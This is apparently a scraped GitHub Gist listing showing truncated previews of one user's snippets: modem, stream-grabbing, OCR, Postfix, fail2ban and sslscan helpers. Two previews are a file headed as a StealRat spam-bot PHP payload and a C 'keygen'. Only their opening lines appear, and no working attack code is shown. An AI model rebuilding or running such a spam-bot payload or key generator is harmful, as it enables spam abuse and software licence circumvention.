Skip to content

Instantly share code, notes, and snippets.

@elektret
elektret / medion.rb
Last active August 29, 2015 14:06
ID 12d1:1001 Huawei Technologies
#!/usr/bin/env ruby
require 'rubygems'
require "serialport"
require 'optparse'
$:.unshift File.dirname(__FILE__)
require 'pdu'
module Medion
@elektret
elektret / dtm.sh
Last active August 29, 2015 14:05
#!/bin/bash
# $ tcpdump -i eth0 -A | grep mp4
# ...
# #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1596000,RESOLUTION=960x540,CODECS="avc1.77.30,mp4a.40.2"
# http://adaptiv.wdr.de/i/medstdp/ww/fsk0/49/490051/,490051_5101127,490051_5101126,490051_5101125,490051_5101128,.mp4.csmil/index_2_av.m3u8?null=
# ...
# $ sh dtm.sh
URL=$1
@elektret
elektret / keygen.c
Last active December 30, 2015 21:29
/* COPYRIGHT (C) 1986 Gary S. Brown
* COPYRIGHT (C) 2000 TEAM DVT
*/
#include <stdio.h>
#include <string.h>
#include <stdint.h>
static char output[1024];
diff -ru a/sslscan-1.8.2/Changelog b/sslscan-1.8.2/Changelog
--- a/sslscan-1.8.2/Changelog 2009-09-01 14:35:59.000000000 +0200
+++ b/sslscan-1.8.2/Changelog 2013-11-10 19:15:30.333323654 +0100
@@ -1,6 +1,14 @@
Changelog
=========
+Version: 1.8.2.six
+Date : 09/11/2013
+Author : Manuel Bieling (manuel@elektret.de)
#!/bin/sh
# You need: cuneiform hocr2pdf pdfunite
FILES=$@
merged=""
index=0
for file in $FILES
do
index=`expr $index + 1`
@elektret
elektret / strip.sh
Last active December 26, 2015 19:48
#!/bin/sh
postconf -n | while read line
do
postconf -d | grep "${line}"$
done
<?php
/* STEALRAT SPAM BOT
* PHP PAYLOAD
*
* Not tested, not fully functional.
* Published for educational purpose only.
*/
@error_reporting(0);
@elektret
elektret / bash.rb
Created September 4, 2013 04:22
Bash script in Ruby DATA section
#!/usr/bin/env ruby -w
function, list, f = {}, [], nil
def function.method_missing(meth, *args, &block)
return self[meth.to_s] if has_key? meth.to_s
raise NoMethodError
end
class Function
@@global = String.new
@elektret
elektret / tex2mathml.html
Created September 1, 2013 22:08
MathJax: Converts TeX to MathML
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN'
'http://www.w3.org/TR/html4/strict.dtd'>
<html>
<head>
<title>MathJax: Converts TeX to MathML</title>
<style type='text/css'>
*
{
margin: 0px;
padding: 0px;
@elektret
elektret / fail2ban.rb
Created September 1, 2013 22:05
Parse Fail2ban output
#!/usr/bin/env ruby
# ruby fail2ban.rb logfile | sort -rn | head -25
# ruby fail2ban.rb logfile | awk '{print $2}' | sort | uniq -c | sort -rn | head -15
require 'time'
networks = {}
module MBox